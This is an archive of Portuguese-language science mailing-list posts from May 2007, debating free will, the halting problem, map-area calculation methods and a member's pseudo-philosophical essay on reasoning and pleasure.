além da construção da maquete, mas deve sim existir algum software que

calcule isso.



Abraços,

JC



--- Em ciencialist@ yahoogrupos. com.br, "rmtakata" <roberto.takata@ ...>

escreveu

>

> --- Em ciencialist@ yahoogrupos. com.br, "psdias" <psdias@> escreveu

> > - Enfim, alguém conhece algum software não muito complicado de usar,

> > onde eu pudesse executar a tarefa que descrevi ?

>

> Tem um método muito simples.

>

> Vc pode pegar o desenho do mapa em um papel, recortar o contorno e

> pesá-lo. Agora vc pega um pedaço quadrado do mm papel com área

> conhecida e faz o mm.

>

> Aplica a regra de três.

>

> (Tomar o cuidado para q o papel usado seja relativamente uniforme.)

>

> Outro modo, mais trabalhoso, é dividir o mapa em vários quadrinhos.

> Qto menor o quadriculado melhor - até o limite em q a espessura da

> linha da grade não distorça a área das quadrículas.

>

> []s,

>

> Roberto Takata

>














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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: OFF-TOPIC: Software para calcular área de mapa
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/05/2007 19:15

Eurico:
Já escrevi aqui que qualquer topógrafo hoje usa o GPS para delimitar uma área e o proprio programa já emite as coordenadas e traça a planta, indicando a área e a situação (Norte).
Óbvio que a planta é bidimensilnal embora apresente as curvas de nível dentro da escala solicitada.

Para cubar uma área é preciso, além do levantamento topográfico, sondagens para conhecimento do tipo do solo até a profundidade indicada. Dependendo do objetivo da cubagem (se para atêrro, desatêrro ou fonte de matérias primas, casa um usa de técnica diferente: já é com geólogo).

sds.,3silvio.
----- Original Message -----
From: Eurico Ferreira de Souza Jr.
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, May 19, 2007 6:31 PM
Subject: Res: [ciencialist] Re: OFF-TOPIC: Software para calcular área de mapa


http://www.gpstm.com/index.php?lang=port

_\|/_

----- Mensagem original ----
De: José Carlos Antonio <profjc2003@yahoo.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quarta-feira, 9 de Maio de 2007 23:49:18
Assunto: [ciencialist] Re: OFF-TOPIC: Software para calcular área de mapa

Acho que isso não daria certo não, Takata, pois mapas topográficos

indicam superfícies tridimensionais. Dari certo se houvesse uma

maquete da superfície curva, pois nessa caso poderíamos recobri-la com

papel e depois pesar, como você sugeriu para o caso do mapa plano.

Minha "inguinorança" não permite pensar em nenhuma solução simples

além da construção da maquete, mas deve sim existir algum software que

calcule isso.

Abraços,

JC

--- Em ciencialist@ yahoogrupos. com.br, "rmtakata" <roberto.takata@ ...>

escreveu

>

> --- Em ciencialist@ yahoogrupos. com.br, "psdias" <psdias@> escreveu

> > - Enfim, alguém conhece algum software não muito complicado de usar,

> > onde eu pudesse executar a tarefa que descrevi ?

>

> Tem um método muito simples.

>

> Vc pode pegar o desenho do mapa em um papel, recortar o contorno e

> pesá-lo. Agora vc pega um pedaço quadrado do mm papel com área

> conhecida e faz o mm.

>

> Aplica a regra de três.

>

> (Tomar o cuidado para q o papel usado seja relativamente uniforme.)

>

> Outro modo, mais trabalhoso, é dividir o mapa em vários quadrinhos.

> Qto menor o quadriculado melhor - até o limite em q a espessura da

> linha da grade não distorça a área das quadrículas.

>

> []s,

>

> Roberto Takata

>

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SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 19:24

Olá, Chicao.

> Um efeito que vêm antes da causa ou uma função de
> utilidade baseado em alguma informação certa
> do futuro ??
> Aquele eu só vi nos resultados de Godel para a
> cosmologia(enviei um link a pouco).

Não entendi essa função de utilidade.

> Teleologia. Se há finalidades, quem as fez ???

É. Esse é o problema da causa final. Imagino que na interpretação de
um defensor do livre arbítrio, a vontade determinaria a finalidade.
Mas da onde vem essa vontade?

> No caso do computador, não há escolha mas determinismo.
> A escolha sem aspas ao qual voce se refere , eu tambem não tenho
veredicto.
> Os humanos possuem livre arbitrio ou suas escolhas não passam de
"escolhas"?

Para mim não passam de "escolhas." Livre arbítrio é uma ilusão criada
pela mente. Não sei exatamente qual o motivo, mas deve ser para lidar
com alguma questão moral.

Alguém saberia dizer por que a mente criou a ilusão de livre
arbítrio?

Saudações,
João de Carvalho




SUBJECT: P/ Chicão - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 19:44

Oi,

Oráculo: Além disso, a inteligência não se mede pela capacidade de
escrever um livro, mas de pensar em termos de conseqüências, e
chimpanzés apresentam evidências de que podem agir assim. Portanto, o
livro do Manuel não é uma evidência válida.

Chicão: Isso aí voce discute com Manuel :-).

Manuel: Esse Manuel escritor ao qual o Oráculo se referiu sou eu, ou
qualquer outro zé de manel escrevinhador? :-)

De qualquer modo, concordo com o Oráculo.

Abraços,
Manuel Bulcão





SUBJECT: Ops!/Re: Minha foto
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 20:30

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Ao clicar no link, depara-se com a veeeelha foto em que eu domino
> uma temerária anaconda

Como se pode ver, os filhos do Bulcão NÃO são com essa sucuri - a
sucuri foi um caso de amor passageiro antes dele conhecer a mãe do
Ulisses e da Lígia.

A foto tb é uma refutação completa de tudo o q se entende por
genética. Os filhos de Bulcão são lindos. A mãe deles deve ter todos
os genes dominantes.

[]s,

Roberto Takata



SUBJECT: Re: P/ Takata - O problema da parada - (era P/ CHicão - [RN] MOSCAS E LIVRE ARB
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 20:31

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> De fato, todo computador trava e nem todo homem trava.

Não sei se algum ser humano não trava.

[]s,

Roberto Takata



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 20:37

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Takata, a questão do vazio e do cheio, a questão
> da separação, é a questão da dualidade.

Aqui o adversário se levanta e joga o tabuleiro para cima fazendo as
peças descreverem arcos de parábola no ar.

Os q deste ponto avançam percam todas as esperanças do Ferrari fazer a
mesura de responder ao exercício.

Lembrei-me de uma música da Legião Urbana, não sei bem por quê:
"Não saco nada de Física/ Literatura ou Gramática/ Só gosto de
Educação Sexual/ E eu odeio Química !"

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O Raciocinio e o Prazer ::: (artigo)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/05/2007 20:45

Caro Ferrari,

Em lógica matemática existem construções chamadas "formas bem definidas" ou
"formas bem formadas". Nem todas as frases que as regras de sintaxe
possibilitam formar têm sentido do ponto de vista semântico e, logo, são
inúteis. Trazendo esse conceito para o campo da linguagem natural, vemos que
seus exemplos não passam de frases mau formadas: elas são sintaticamente
possíveis, mas carecem de sentido semântico. Você pode achar divertido falar
no "cheiro dos números ímpares", talvez isso seja até poético, mas não tem
sentido algum.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <emailferrari@yahoo.com.br>
Sent: Friday, May 18, 2007 3:39 PM
Subject: [ciencialist] O Raciocinio e o Prazer ::: (artigo)


>O RACIOCINIO E O PRAZER - por Ferrari
> (sobre satisfação)
>
> http://egogame.blogspot.com
>
> Já reparou o comportamento de uma mosca em volta de
> uma lâmpada? Ela busca o prazer do calor e por isso
> bate contra a lâmpada. Nós, seres humanos, fazemos
> algo semelhante, procuramos sempre a satisfação, o
> prazer, porém, batemos no desconhecimento do
> funcionamento do cérebro. Que gosto tem três vezes
> três? Que cor tem a raiz quadrada de nove? Que cheiro
> tem os números impares? Quinze é bom ou é ruim?
> Perguntas como estas deixam claro que o raciocínio (em
> si) não é capaz de gerar satisfação. O nível de
> satisfação e insatisfação que o cérebro sente é como
> um termômetro, mostra ao cérebro que a febre é um
> fato, mas não é capaz de curar a febre, não é capaz de
> trazer a saúde de volta. Para trazer a satisfação de
> volta, o cérebro precisa, através do raciocínio, criar
> um plano de ação com e colocar o corpo pra agir. O
> raciocínio é o estrategista da satisfação. Enquanto o
> emocional informa ao cérebro que ele está cheio de
> desejos como uma mulher grávida, ou cheio de medo como
> um criminoso, o raciocínio busca entender qual é o
> objeto desejado/indesejado e planeja como chegar/fugir
> dele. Depois usa o corpo pra colocar o plano em ação.
>
> Vamos visualizar isto através de um exemplo:
>
> "Uma árvore cujos galhos chegavam a dois metros do
> muro de minha casa se cobriu de frutinhas redondas,
> vermelhas e suculentas. A simples visão daquelas
> frutinhas provocou profundamente meu desejo. Foi então
> que, provocado por este desejo, minha máquina de Como
> Transformar Desejo em Satisfação se pôs a funcionar.
> Se eu não tivesse salivado, minha máquina de Como
> Transformar Desejo em Satisfação não teria combustível
> para funcionar, mas impulsionado pelo meu desejo ela
> me sugeriu uma primeira estratégia, criminosa: 'pule o
> muro à noite e roube as pitangas'. Furto, fruto, tão
> próximos. Sim, de fato era uma maneira de chegar a
> satisfação. A estratégia do furto me levaria ao fruto
> desejado. Mas havia algo indesejável naquela
> estratégia: e se eu fosse descoberto? Assim, rejeitei
> a estratégia criminosa pela probabilidade de dor
> (desprazer). Mas o brilho escarlate das pitangas não
> saiam da minha cabeça. Logo meu cérebro pensou em
> outra estratégia: 'se bicicletas são extensões das
> pernas, óculos são extensões dos olhos, facas são
> extensões das unhas, uma maquineta de roubar pitangas
> teria de ser uma extensão do meu braço'. Peguei um
> bambu e fiz um braço comprido. Porém, sem uma mão,
> seria inútil, as pitangas cairiam. Achei uma lata de
> massa de tomates vazia, amarrei-a com um arame na
> ponta do bambu e lhe fiz um dente que funcionasse como
> um dedo. Feita a minha máquina, apanhei todas as
> pitangas que quis. E satisfiz meu desejo." (trecho
> adaptado de um texto de Rubem Alves)
>
>



SUBJECT: Re: [ciencialist] O Raciocinio e o Prazer ::: (artigo)
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 21:43

Álvaro,
oi.
Vc já ouviu falar numa coisa chamada ''liberdade poética''?
Quem consegue usar, ou ''criar'', assume riscos, mas os maiores riscos ficam
c/os dos leitores que vão esmiuçar.
( Pra entender tem que ser também um poeta.)
No último caso, tratar-se-á de ''só poesia'', ou ''prosa poética'', ''sem
qualquer importância''... mas que, se é honesta, original e inspirada,
sempre será bonita, apreciável e deve ser mostrada. Algo novo e diferente
que nasceu do escritor, como um filho, do prazer da inspiração, além do
raciocínio.
abr/M.


>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] O Raciocinio e o Prazer ::: (artigo)
>Date: Sat, 19 May 2007 20:45:46 -0300
>
>Caro Ferrari,
>
>Em lógica matemática existem construções chamadas "formas bem definidas" ou
>"formas bem formadas". Nem todas as frases que as regras de sintaxe
>possibilitam formar têm sentido do ponto de vista semântico e, logo, são
>inúteis. Trazendo esse conceito para o campo da linguagem natural, vemos
>que
>seus exemplos não passam de frases mau formadas: elas são sintaticamente
>possíveis, mas carecem de sentido semântico. Você pode achar divertido
>falar
>no "cheiro dos números ímpares", talvez isso seja até poético, mas não tem
>sentido algum.
>
>[ ]s
>
>Alvaro Augusto
>
>
>
>----- Original Message -----
>From: "Ferrari" <emailferrari@yahoo.com.br>
>To: <emailferrari@yahoo.com.br>
>Sent: Friday, May 18, 2007 3:39 PM
>Subject: [ciencialist] O Raciocinio e o Prazer ::: (artigo)
>
>
> >O RACIOCINIO E O PRAZER - por Ferrari
> > (sobre satisfação)
> >
> > http://egogame.blogspot.com
> >
> > Já reparou o comportamento de uma mosca em volta de
> > uma lâmpada? Ela busca o prazer do calor e por isso
> > bate contra a lâmpada. Nós, seres humanos, fazemos
> > algo semelhante, procuramos sempre a satisfação, o
> > prazer, porém, batemos no desconhecimento do
> > funcionamento do cérebro. Que gosto tem três vezes
> > três? Que cor tem a raiz quadrada de nove? Que cheiro
> > tem os números impares? Quinze é bom ou é ruim?
> > Perguntas como estas deixam claro que o raciocínio (em
> > si) não é capaz de gerar satisfação. O nível de
> > satisfação e insatisfação que o cérebro sente é como
> > um termômetro, mostra ao cérebro que a febre é um
> > fato, mas não é capaz de curar a febre, não é capaz de
> > trazer a saúde de volta. Para trazer a satisfação de
> > volta, o cérebro precisa, através do raciocínio, criar
> > um plano de ação com e colocar o corpo pra agir. O
> > raciocínio é o estrategista da satisfação. Enquanto o
> > emocional informa ao cérebro que ele está cheio de
> > desejos como uma mulher grávida, ou cheio de medo como
> > um criminoso, o raciocínio busca entender qual é o
> > objeto desejado/indesejado e planeja como chegar/fugir
> > dele. Depois usa o corpo pra colocar o plano em ação.
> >
> > Vamos visualizar isto através de um exemplo:
> >
> > "Uma árvore cujos galhos chegavam a dois metros do
> > muro de minha casa se cobriu de frutinhas redondas,
> > vermelhas e suculentas. A simples visão daquelas
> > frutinhas provocou profundamente meu desejo. Foi então
> > que, provocado por este desejo, minha máquina de Como
> > Transformar Desejo em Satisfação se pôs a funcionar.
> > Se eu não tivesse salivado, minha máquina de Como
> > Transformar Desejo em Satisfação não teria combustível
> > para funcionar, mas impulsionado pelo meu desejo ela
> > me sugeriu uma primeira estratégia, criminosa: 'pule o
> > muro à noite e roube as pitangas'. Furto, fruto, tão
> > próximos. Sim, de fato era uma maneira de chegar a
> > satisfação. A estratégia do furto me levaria ao fruto
> > desejado. Mas havia algo indesejável naquela
> > estratégia: e se eu fosse descoberto? Assim, rejeitei
> > a estratégia criminosa pela probabilidade de dor
> > (desprazer). Mas o brilho escarlate das pitangas não
> > saiam da minha cabeça. Logo meu cérebro pensou em
> > outra estratégia: 'se bicicletas são extensões das
> > pernas, óculos são extensões dos olhos, facas são
> > extensões das unhas, uma maquineta de roubar pitangas
> > teria de ser uma extensão do meu braço'. Peguei um
> > bambu e fiz um braço comprido. Porém, sem uma mão,
> > seria inútil, as pitangas cairiam. Achei uma lata de
> > massa de tomates vazia, amarrei-a com um arame na
> > ponta do bambu e lhe fiz um dente que funcionasse como
> > um dedo. Feita a minha máquina, apanhei todas as
> > pitangas que quis. E satisfiz meu desejo." (trecho
> > adaptado de um texto de Rubem Alves)
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SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 22:50

Olá, Manuel.

Ufa! Tive que tomar mais ritalina para encarar sua mensagem.

Antes de começar, uma pergunta: Você acredita no livre arbítrio?

> Manuel: Se não existe acaso objetivo, o que significa dizer que o
> futuro está determinado de antemão, então qual a explicação
> psicofísica para o fenômeno da volição?

Volição não existe. É uma ilusão causada pela mente.

> Ou seja, Se o futuro, tanto quanto o passado, já está determinado,
> então por que *instintivamente* agimos como se ele não o estivesse?

Talvez porque não tenhamos informações a respeito do futuro. Por que
conhecemos o passado, mas não o futuro é uma questão que não creio
que se saiba a resposta. Para a ciência moderna, causas de fenômenos
só podem estar antes do fenômeno, e não depois. Assim, para
estruturar o nosso raciocínio, só podemos levar em conta aquilo que
está no passado.

Mas creio que o instinto do livre arbítrio tem suas causas em alguma
questão social (moral).

> Isto é, se o que acontecerá já está dado, por que então existem
> agentes físicos impulsionados pela *vontade* de que algo -
> logicamente possível de acontecer - *não aconteça*?

Não sei se entendi direito sua linha de raciocínio. O agente físico
em questão é o processamento neuronal, que não pode prever o que irá
acontecer, dado que, para poder fazer isso seria necessário uma
capacidade de processamento que está além das capacidades de nossos
cérebros. Deu para responder? Ou estou perdendo alguma coisa?

> Se o acaso é uma ilusão, então a ilusão do acaso é necessária. Por
quê? Qual lei determina a ilusão do acaso?

Não sei até que ponto a mente cria a ilusão de acaso. Talvez esse
seja um conceito moderno, derivado de séculos de pensamento
científico. Se ele é uma ilusão causada pela mente, ele estaria
submetido à pressão da seleção natural. Por que eu não sei. Talvez
faça sentido para nossa visão de mundo pensar que certas ações podem
ou não funcionar de acordo com o acaso. Mas creio que os povos
primitivos não acreditam em acaso e atribuem os fenômenos que ocorrem
a interferências de entidades transcendentais. Mesmo nós, quando
vemos a roleta girar em um cassino, ou quando nosso artilheiro está
com a bola de frente para o gol do adversário, nós apresentamos o
comportamento de torcer. É como se, ao torcer, nós acreditássemos que
poderíamos interferir no desenrolar dos fenômenos. Se nós
acreditássemos no acaso, ao ver a bolinha girando na roleta, ou o
artilheiro na frente do gol, nós ficaríamos apenas ansiosos. Mas não.
Nós olhamos para a bolinha ou para o artilheiro e falamos com uma
profunda expectativa: "vai!" Nós acreditamos que, através da nossa
expectativa, o desenrolar dos eventos possam ser influenciados.

> E qual a explicação física para a sua existência? [do acaso]

Como eu disse, não creio que o acaso exista, e se existe não é
possível explicá-lo, pois, como já coloquei, o acaso é justamente
aquilo que ocorre sem que haja uma explicação para ter ocorrido. Eu
não consigo acreditar que tal coisa possa existir.

> Toda lei física determina um comportamento padrão, geral. Ocorre
que,
> como frisou Hegel, "todas as coisas possuem aspectos que se repetem
> em muitos outros fenômenos" - os aspectos `gerais', as qualidades-
> padrão, traduzíveis em leis &#8211; "e aspectos que não se repetem nas
> outras coisas". Esses últimos aspectos é o que define
> a "singularidade" do evento, sua idiossincrasia.

> O "singular" é algo que só acontece uma vez, razão pela qual foge
ao
> escopo da ciência, dado que a ciência só se ocupa com o geral, com
o
> universal, com os comportamentos padrões. No entanto, há quem pense
> diferente.

A ciência se ocupa em entender as coisas. Se existe acaso, este não
pode ser entendido, e foge ao escopo da ciência. Foge ao escopo de
qualquer coisa, na verdade.

> O determinismo laplaciano (e o Einstein das `variáveis ocultas' era
> laplaciano, assim como Freud - com seu determinismo psíquico - e
até
> mesmo Darwin - enquanto defendeu a hipótese lamarckista das
gêmulas),
> é um reducionismo vulgar, na medida em que dilui o singular no
> universal, isto é, defende que todo aspecto singular é redutível a
> uma lei geral ou sistema de leis (produto de um cruzamento de nexos
> causais traduzível, em última análise, numa fórmula matemática com
> uma só solução).

Bom, existem os sistemas complexos, que possuem tantos componentes
que não podemos prevê-los com segurança. Mas é só uma limitação
computacional que nos impede de fazer isto. Se eventos singulares
existem, existe uma explicação para eles existirem. A não ser que se
trate de fenômenos ao acaso, que, como já disse, são inexplicáveis,
inabordáveis, e fogem ao escopo do conhecimento. Um fenômeno sem
causa. Como é possível que tal coisa exista, se manifeste?

> Ora, as leis físicas possuem em suas formulações matemáticas uma e/
ou
> outra constante natural, Como "G", a velocidade da luz (v), o
quantum
> de ação de Planck (h), a massa do elétron, a massa do próton, a
> unidade de medida do spin das partículas subatômicas etc. E qual o
> valor numérico dessas constantes? A velocidade da luz (constante da
> lei E = m.v^2) é "mais ou menos" 299.792,458... km/s (um número
> irracional, muito provavelmente "não computável", ou seja, um
número
> que compreende uma dízima "infinita", aleatória e para a qual não
> existe um algoritmo ou regra que identifique o n-ésimo dígito).
Todas
> as outras constantes são, no mais das vezes, alguma coisa
> multiplicada ou dividida por números irracionais de igual cepa.

Não sei o que dizer dessas constantes com números irracionais. Mas
questiono até que ponto podemos falar de acaso nesses números, dado
que, toda vez que os calculamos a seqüência é a mesma. E existe um
padrão que determina esses números, tanto que podemos calculá-los, ao
longo de quantas casas decimais quisermos. Existe sim um algoritmo
que identifique o n-ésimo dígito, não saltando direto para ele, mas
através de um laborioso processo de computação. Através do
processamento do algoritmo nós podemos calcular quantas casas
decimais quisermos, ou tivermos saco para esperar. A computação é a
formalização matemática do fenômeno.

> As mais fundamentais leis da física, portanto, encerram em si o
> infinito não computável (299.792,458..., 6,6726..., 6,625...,
> 9,10938188... etc.). Ora, o infinito não computável é imensurável,
> portanto, "indeterminado". Logo, muitas leis físicas, supostamente
> férreas, possuem "por princípio" uma margem de incerteza, o que
> equivale dizer que a necessidade pressupõe certa dose de acaso.

Mas não podemos dizer que exista acaso na velocidade da luz, mesmo
que sua medida produza um número irracional. O mesmo é válido para as
outras constantes que você citou. A massa do elétron não varia ao
acaso, mesmo que, para colocá-la em números, seja necessário algum
número irracional.

Penso que você acredita que existam processos quânticos aleatórios
que interfeririam no processamento da informação neuronal resultando
em diferentes respostas que não poderiam ser previstas, mas que
também não ocorreriam completamente ao acaso devido ao fato de
estarem restritas a um certo âmbito determinado pelas configurações
dos neurônios (caso contrário nós veríamos as pessoas demonstrarem os
comportamentos mais absurdos ao serem submetidas a algum estímulo).
Estou certo?

Proponho o seguinte experimento mental: Você possui uma máquina do
tempo. Você viaja para o passado, digamos, para a Roma antiga, e
entra em órbita ao redor da Terra (para que você não interfira de
forma alguma nos acontecimentos lá embaixo, supondo que a gravidade
de sua máquina não será uma variável significativa). Você viaja para
o momento em que Júlio César esta com suas legiões pensando se deve
ou não atravessar o rio, entrar em Roma e tomar o poder. Vamos supor
que você conhece bem este evento da história. Você saberá que ele irá
consultar seus generais, ter dúvidas, avaliar a situação, e, por fim,
irá decidir cruzar o rio e entrar em Roma. Para você, que está lá em
cima o observando, ele é um robô cujas ações podem ser previstas em
detalhes. Ou será que poderia ocorrer um processo quântico aleatório
que fizesse, desta vez, César agir de outra forma?

Saudações,
João de Carvalho




SUBJECT: P/ Chicão - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 22:52

Olá Chicão

Chicão: "Halting Problem."

O problema da parada não é um paradoxo. Eu tenho o texto que o Takata
sugeriu sobre isso, mas está em espanhol, se quiser assim mesmo eu
mando para você.

Chicão: "O problema não é físico mas sim do ramo da lógica de
> primeira ordem. Estou com a impressão que voce anda
> trocando os dois."

Acho que não..:-) Além disso boa parte do problema, se não todo ele, é
físico nesse caso, pois tanto o hardware quanto o software são
"físicos", no sentido de não sobrenatural.

Se um substrato físico pode gerar consciência, não parece haver
impedimento, ou evidência disso, para surgir novamente em outro
substrato, o hardware.

O problema da parada, o halting problem, não é um paradoxo
auto-inferente em todo caso.

Um abraço.

Homero




SUBJECT: P/ Manuel - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 22:55

Olá Manuel

Manuel: "Esse Manuel escritor ao qual o Oráculo se referiu sou eu, ou
> qualquer outro zé de manel escrevinhador? :-)"

He, he, he..:-) Eu estava me referindo a você mesmo, e usando seu
livro como exemplo de inteligência, ainda que não o único exemplo ou
evidência que podemos encontrar em seres vivos.

Ou seja, seu livro indica claramente que você é inteligente (e um
bocado inteligente), mas um chimpanzé não conseguir escrever um livro
não implica que ele não seja.

Um abraço.

Homero




SUBJECT: Re: O Raciocinio e o Prazer ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 23:07

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Vc já ouviu falar numa coisa chamada ''liberdade poética''?

Já ouvi falar em uma coisa chamada "viagem na maionese"? (Geralmente
leva à salmonelose cerebral.)

[]s,

Roberto Takata



SUBJECT: Re: ABC da CIENCIA
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 03:33

Pérola do Ferrari: "Não é verdade! Não desprezo a fisica. Apenas não
acho que a ciencia deve ficar presa apenas a fisica."

Que tal não ficar preso apenas aos almanaques neurolingüísticos e
começar a aprender Física? Quem sabe você não descobre que a Física é
a Física. Experimente sua cognição. ;)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu




SUBJECT: Re: O Raciocinio e o Prazer ::: (artigo)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 03:39

Ué, eu nunca vi moscas ao redor de lâmpadas... Já vi outros insetos,
mas moscas não me lembro não...

Também já vi muitos insetos ao redor de lâmpadas fluorescentes que não
emitem calor, apenas luz... Será que elas tem prazer no frio?

Af!

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> O RACIOCINIO E O PRAZER - por Ferrari
> (sobre satisfação)
>
> http://egogame.blogspot.com
>
> Já reparou o comportamento de uma mosca em volta de
> uma lâmpada? Ela busca o prazer do calor e por isso
> bate contra a lâmpada. Nós, seres humanos, fazemos
> algo semelhante, procuramos sempre a satisfação, o
> prazer, porém, batemos no desconhecimento do
> funcionamento do cérebro. Que gosto tem três vezes
> três? Que cor tem a raiz quadrada de nove? Que cheiro
> tem os números impares? Quinze é bom ou é ruim?
> Perguntas como estas deixam claro que o raciocínio (em
> si) não é capaz de gerar satisfação. O nível de
> satisfação e insatisfação que o cérebro sente é como
> um termômetro, mostra ao cérebro que a febre é um
> fato, mas não é capaz de curar a febre, não é capaz de
> trazer a saúde de volta. Para trazer a satisfação de
> volta, o cérebro precisa, através do raciocínio, criar
> um plano de ação com e colocar o corpo pra agir. O
> raciocínio é o estrategista da satisfação. Enquanto o
> emocional informa ao cérebro que ele está cheio de
> desejos como uma mulher grávida, ou cheio de medo como
> um criminoso, o raciocínio busca entender qual é o
> objeto desejado/indesejado e planeja como chegar/fugir
> dele. Depois usa o corpo pra colocar o plano em ação.
>
> Vamos visualizar isto através de um exemplo:
>
> "Uma árvore cujos galhos chegavam a dois metros do
> muro de minha casa se cobriu de frutinhas redondas,
> vermelhas e suculentas. A simples visão daquelas
> frutinhas provocou profundamente meu desejo. Foi então
> que, provocado por este desejo, minha máquina de Como
> Transformar Desejo em Satisfação se pôs a funcionar.
> Se eu não tivesse salivado, minha máquina de Como
> Transformar Desejo em Satisfação não teria combustível
> para funcionar, mas impulsionado pelo meu desejo ela
> me sugeriu uma primeira estratégia, criminosa: `pule o
> muro à noite e roube as pitangas'. Furto, fruto, tão
> próximos. Sim, de fato era uma maneira de chegar a
> satisfação. A estratégia do furto me levaria ao fruto
> desejado. Mas havia algo indesejável naquela
> estratégia: e se eu fosse descoberto? Assim, rejeitei
> a estratégia criminosa pela probabilidade de dor
> (desprazer). Mas o brilho escarlate das pitangas não
> saiam da minha cabeça. Logo meu cérebro pensou em
> outra estratégia: `se bicicletas são extensões das
> pernas, óculos são extensões dos olhos, facas são
> extensões das unhas, uma maquineta de roubar pitangas
> teria de ser uma extensão do meu braço'. Peguei um
> bambu e fiz um braço comprido. Porém, sem uma mão,
> seria inútil, as pitangas cairiam. Achei uma lata de
> massa de tomates vazia, amarrei-a com um arame na
> ponta do bambu e lhe fiz um dente que funcionasse como
> um dedo. Feita a minha máquina, apanhei todas as
> pitangas que quis. E satisfiz meu desejo." (trecho
> adaptado de um texto de Rubem Alves)
>
>
> - - - - - - -
>
>
> MAIS SOBRE O EGO? TEM AQUI:
> http://egogame.blogspot.com
>
>
>
>
>
> EXPERIMENTE XIXI COM TINTA (novo
livro do Ferrari):
>
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> MEU PORTAL:
> http://marceloferrari.blogspot.com
>
> Para receber meus textos inéditos (de literatura), envie um
email para:
> mferrari-subscribe@yahoogrupos.com.br
>
>
>
>
>
>
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>
>
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> __________________________________________________
> Fale com seus amigos de graça com o novo Yahoo! Messenger
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>




SUBJECT: Re: E=m.c2
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 03:42

:))))

Mucho lôco!!! Sóóó... :)))

Até os filósofos gregos devem estar engasgando nas gargalhadas. :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Takata,
>
> A placa é vazia de piscina. Só isto.
> Não existe vazio absoltuto.
> Ora, esta conversa toda não começou porque afirmo que
> a matéria é indivizivel?
> Então, seria contraditório eu afirmar uma matéria
> indivizivel e depois um vazio absoluto, não acha?
> O vazio é relativo ao cheio.
> E ambos são relativos aos parametros de observação.
>
> Sobre seu problema, continua sendo seu!
> Com todo o respeito.
>
>
> sinceramente
> ferrari
>
>
>
>
>
>
>
>
>
> --- rmtakata <roberto.takata@...> escreveu:
>
> > --- Em ciencialist@yahoogrupos.com.br, Ferrari
> > <emailferrari@>
> > > Claro! O quarto é o vazio.
> >
> > Se o quarto estivesse vazio, vc morreria asfixiado.
> > Mas como vc tb não
> > entendeu o quarto, vamos tentar o exemplo da
> > piscina.
> >
> > Vc tem uma piscina - com água até a borda - de 12
> > metros por 50
> > metros. Vc coloca uma placa no meio e a divide em
> > duas piscinas de 12
> > metros por 25 metros.
> >
> > > Até quando vai ficar negando o óbvio?
> >
> > Até qdo vc vai enrolar e deixar de responder ao
> > exercício?
> >
> > []s,
> >
> > Roberto Takata
> >
> >
>
>
> EXPERIMENTE XIXI COM TINTA (novo
livro do Ferrari):
>
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> MEU PORTAL:
> http://marceloferrari.blogspot.com
>
> Para receber meus textos inéditos (de literatura), envie um
email para:
> mferrari-subscribe@yahoogrupos.com.br
>
>
>
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SUBJECT: O avião do José Renato decolou?
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 03:57

Estranha a ausência do José Renato... Será que enfim o avião dele
decolou e ele foi para Roma com o Papa?

